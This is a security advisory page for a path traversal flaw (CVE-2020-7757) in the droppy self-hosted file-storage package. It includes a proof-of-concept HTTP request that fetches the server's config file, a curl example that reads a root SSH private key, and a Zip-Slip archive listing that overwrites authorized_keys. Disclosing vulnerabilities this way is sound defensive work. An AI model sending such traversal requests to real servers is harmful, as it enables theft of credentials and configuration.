MEDIUM

🔍 Search by package name or CVE

Path Traversal

Affecting droppy package, versions *

INTRODUCED: 29 OCT 2020   CVE-2020-7757 ❓   CWE-22 ❓   FIRST ADDED BY SNYK

Share ⌄

How to fix?

There is no fixed version for droppy .

Overview

droppy is a library for self-hosted file storage.

Affected versions of this package are vulnerable to Path Traversal. It is possible to traverse directories to fetch configuration files from a droopy server.

PoC

```
GET
/!/zip/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2
f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e
%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f73%72%76%2f%64%72%6f%70%70%79%2f%63%6f%6e%66%69%67 HTTP/1.1 Host:
192.168.0.11:8989 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding:
gzip, deflate Connection: close Cookie: s=XtlnyU3If2YoVi8jiExHS++NwzrMpQMbmS0l/usCPJcH2J8S Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK Content-Type: text/plain Content-Disposition: attachment; filename="config.zip" Cache-Control: private,
max-age=0 ETag: "4a-akoxq55ZKs8DpqVaiOcP6h8oCoI" Date: Sun, 25 Oct 2020 18:27:10 GMT Connection: close Content-Length: 847
```

```
Backend Request:
/!/zip/../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../
../../../../../../srv/droppy/config
```

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

  st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

  If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

  ```
  curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
  ```

  Note %2e is the URL encoded version of . (dot).

- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip .

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

```
2018-04-15 22:04:29 ..... 19 19 good.txt 2018-04-15 22:04:42 ..... 20 20 ../../../../../root/.ssh/authorized_keys
```

References

- Vulnerable Code

Snyk CVSS

Exploit Maturity	Proof of concept ❓
Attack Complexity	Low ❓
Confidentiality	HIGH ❓

See more

› NVD   6.5 MEDIUM

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

🎓 **Snyk Learn**

Learn about Path Traversal vulnerabilities in an interactive lesson.

Start learning

Snyk ID	SNYK-JS-DROPPY-1023656
Published	29 Oct 2020
Disclosed	29 Oct 2020
Credit	Sam Sanoop of Snyk Security Team

Report a new vulnerability   Found a mistake?

RESOURCES

Vulnerability DB

Documentation

Disclosed Vulnerabilities

Blog

FAQs

COMPANY

About

Jobs

Contact

Policies

Do Not Sell My Personal Information

CONTACT US

Support

Report a new vuln

Press Kit

Events

FIND US ONLINE

TRACK OUR DEVELOPMENT

DevSecCon   Join the ›› community